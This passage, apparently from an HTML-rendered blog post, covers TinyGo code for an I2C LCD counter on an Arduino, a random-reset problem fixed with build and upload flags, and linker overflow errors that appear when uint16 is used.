&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;machine&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strconv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;tinygo.org/x/drivers/hd44780i2c&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2CConfig&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Counting: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strconv&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Itoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="section" id="reset-during-count"&gt;
&lt;h4&gt;Reset during count&lt;/h4&gt;
&lt;p&gt;I used to have an issue where where the Arduino board would reset at random intervals when counting up. I tried debugging the issue by displaying only every 100th number to see if this might be an issue with the library or some kind of integer overflow error, but no luck. Sometimes the counter would go up to 10,000 or 20,000; other times, the counter would reset almost immediately.&lt;/p&gt;
&lt;img alt="Counter reboot" class="align-center" src="/images/2023-04-03/P1300371_3.GIF" /&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; 2023-11-25. This issue has been resolved by setting this parameter &lt;code&gt;-target=arduino-nano-new&lt;/code&gt; for the build command and this parameter &lt;code&gt;-b arduino:avr:nano&lt;/code&gt; for the upload command. i.e.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;tinygo build -scheduler&lt;span class="o"&gt;=&lt;/span&gt;tasks -target&lt;span class="o"&gt;=&lt;/span&gt;arduino-nano-new -o main_counter_nano.hex ./main_counter.go
&lt;span class="gp"&gt;$ &lt;/span&gt;arduino-cli upload -b arduino:avr:nano -p /dev/ttyUSB0  -i main_counter_nano.hex .
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="explicit-types"&gt;
&lt;h4&gt;Explicit types&lt;/h4&gt;
&lt;p&gt;I tried setting explicit types, like &lt;code&gt;uint16&lt;/code&gt;, but in the end I got following error.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;$ &lt;/span&gt;tinygo build -scheduler&lt;span class="o"&gt;=&lt;/span&gt;tasks -target&lt;span class="o"&gt;=&lt;/span&gt;arduino -o main_counter.hex ./main_counter.go
&lt;span class="go"&gt;error: interp: ptrtoint integer size does not equal pointer size&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; 2023-11-25.  This has been fixed as of 2023-11-03&lt;/p&gt;
&lt;p&gt;Now tinygo display potential overflow when trying to print uint16 directly.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;fmt&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;machine&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;tinygo.org/x/drivers/hd44780i2c&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2CConfig&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;Height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Counting: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fmt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Sprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%v&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="go"&gt;tinygo:ld.lld: error: section &amp;#39;.text&amp;#39; will not fit in region &amp;#39;FLASH_TEXT&amp;#39;: overflowed by 11286 bytes&lt;/span&gt;
&lt;span class="go"&gt;tinygo:ld.lld: error: section &amp;#39;.text&amp;#39; will not fit in region &amp;#39;FLASH_TEXT&amp;#39;: overflowed by 11356 bytes&lt;/span&gt;
&lt;span class="go"&gt;tinygo:ld.lld: error: section &amp;#39;.text&amp;#39; will not fit in region &amp;#39;FLASH_TEXT&amp;#39;: overflowed by 11386 bytes&lt;/span&gt;
&lt;span class="go"&gt;tinygo:ld.lld: error: too many errors emitted, stopping now (use --error-limit=0 to see all errors)&lt;/span&gt;
&lt;span class="go"&gt;failed to run tool: ld.lld&lt;/span&gt;
&lt;span class="go"&gt;error: failed to link /tmp/tinygo2493042965/main: exit status 1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;As silly as this is, converting uint to int the following compiles. This is rather silly as internally &lt;a class="reference external" href="https://www.arduino.cc/reference/en/language/variables/data-types/int/"&gt;Arduino Uno stores ints and 16 bit value&lt;/a&gt;, so I might as well drop using &lt;code&gt;uint16&lt;/code&gt; and just use &lt;code&gt;int&lt;/code&gt; or &lt;code&gt;uint&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;machine&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;strconv&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;tinygo.org/x/drivers/hd44780i2c&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2CConfig&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;machine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;I2C0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x27&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;hd44780i2c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Config&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nx"&gt;Height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Counting: &amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;counter&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="nx"&gt;lcd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SetCursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
